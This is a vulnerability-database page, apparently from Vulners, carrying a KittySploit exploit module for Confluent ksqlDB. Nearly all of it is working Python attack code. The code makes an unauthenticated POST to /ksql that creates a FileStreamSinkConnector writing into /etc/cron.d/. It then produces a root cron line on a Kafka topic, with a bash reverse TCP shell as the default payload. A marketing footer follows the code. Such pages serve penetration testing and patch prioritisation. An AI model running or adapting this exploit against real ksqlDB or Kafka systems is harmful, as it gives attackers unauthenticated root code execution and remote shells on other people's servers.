Lucene search
+L

ksqlDB unauthenticated CREATE SINK CONNECTOR cron root RCE

🗓️ 27 Oct 2026 13:35:18Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 6 Views

Unauthenticated RCE in ksqlDB via FileStreamSinkConnector writing to /etc/cron.d/.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Confluent ksqlDB unauthenticated FileStreamSinkConnector cron root RCE."""

from __future__ import annotations

import json
import subprocess
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "ksqlDB unauthenticated CREATE SINK CONNECTOR cron root RCE",
        "description": (
            "UNAUTH POST /ksql creates FileStreamSinkConnector writing /etc/cron.d/*; "
            "produce cron line on Kafka topic (9092) for root execution."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["confluent", "ksqldb", "kafka", "rce", "unauth"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/ksqldb_unauth_sink_connector_cron_rce_detect"],
            },
        },
    }

    port = OptPort(8089, "ksqlDB HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS for ksqlDB", required=False)
    connect_port = OptPort(8083, "Kafka Connect REST port", required=False)
    kafka_port = OptPort(9092, "Kafka broker PLAINTEXT port", required=False)
    connector_name = OptString("kitty_ksql_rce", "Sink connector name", required=False)
    topic = OptString("kitty_rce_topic", "Kafka topic for cron payload", required=False)
    cron_path = OptString("/etc/cron.d/kitty_ksql_rce", "Cron drop path", required=False)
    proof_path = OptString("/tmp/ksql_rce_proof.txt", "Proof file written by cron", required=False)
    kafka_producer = OptString("kafka-console-producer", "Local kafka-console-producer binary", required=False)
    wait_seconds = OptInteger(70, "Wait for crond after produce", required=False)

    def _ksql(self, statement: str) -> tuple[int, str]:
        resp = self.http_request(
            "POST",
            "/ksql",
            data=json.dumps({"ksql": statement}),
            headers={"Content-Type": "application/json"},
        )
        if not resp:
            return -1, "ksql request failed"
        return int(resp.status_code or 0), (resp.text or "")[:4000]

    def _connect_running(self, name: str) -> bool:
        host = str(self.rhost or "127.0.0.1")
        port = int(self.connect_port or 8083)
        url = f"http://{host}:{port}/connectors/{name}/status"
        try:
            import urllib.request

            with urllib.request.urlopen(url, timeout=8) as resp:
                data = json.loads(resp.read().decode("utf-8", "replace"))
            tasks = data.get("tasks") or []
            return bool(tasks) and all(t.get("state") == "RUNNING" for t in tasks)
        except Exception:
            return False

    def _kafka_produce(self, line: str) -> tuple[bool, str]:
        host = str(self.rhost or "127.0.0.1")
        port = int(self.kafka_port or 9092)
        topic = str(self.topic or "kitty_rce_topic")
        bin_name = str(self.kafka_producer or "kafka-console-producer")
        try:
            proc = subprocess.run(
                [bin_name, "--bootstrap-server", f"{host}:{port}", "--topic", topic],
                input=(line + "\n").encode(),
                capture_output=True,
                timeout=45,
            )
            if proc.returncode == 0:
                return True, ""
            return False, (proc.stderr or proc.stdout or b"").decode("utf-8", "replace")[:500]
        except FileNotFoundError:
            return False, f"{bin_name} not found on attacker host — produce cron line manually"
        except OSError as exc:
            return False, str(exc)

    def execute(self, cmd: str) -> str:
        name = str(self.connector_name or "kitty_ksql_rce")
        topic = str(self.topic or "kitty_rce_topic")
        cron_path = str(self.cron_path or "/etc/cron.d/kitty_ksql_rce")
        proof = str(self.proof_path or "/tmp/ksql_rce_proof.txt")
        ksql = (
            f"CREATE SINK CONNECTOR IF NOT EXISTS {name} WITH ("
            f"'connector.class'='org.apache.kafka.connect.file.FileStreamSinkConnector', "
            f"'tasks.max'='1', 'topics'='{topic}', 'file'='{cron_path}', "
            f"'value.converter'='org.apache.kafka.connect.storage.StringConverter');"
        )
        code, body = self._ksql(ksql)
        if code >= 400 or code < 0:
            return f"CREATE SINK CONNECTOR failed HTTP {code}: {body}"
        for _ in range(20):
            if self._connect_running(name):
                break
            time.sleep(1)
        cron_line = f"* * * * * root {{ {cmd}; }} > {proof} 2>&1"
        ok, err = self._kafka_produce(cron_line)
        if not ok:
            return f"Connector created; kafka produce failed: {err}"
        time.sleep(int(self.wait_seconds or 70))
        return (
            f"Sink connector {name} → {cron_path}; cron line produced on topic {topic}. "
            f"Check {proof} on target (async crond)."
        )

    def check(self):
        code, body = self._ksql("SHOW TOPICS;")
        if code == 200:
            return {"vulnerable": True, "reason": "ksqlDB accepts unauthenticated /ksql", "confidence": "high"}
        if code > 0:
            return {"vulnerable": True, "reason": f"ksqlDB HTTP {code} — verify auth", "confidence": "low"}
        return {"vulnerable": False, "reason": "ksqlDB not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("CREATE SINK CONNECTOR + Kafka produce")
        print_info(self.execute(shell))
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2026 13:35Current
6.1Medium risk
Vulners AI Score6.1
6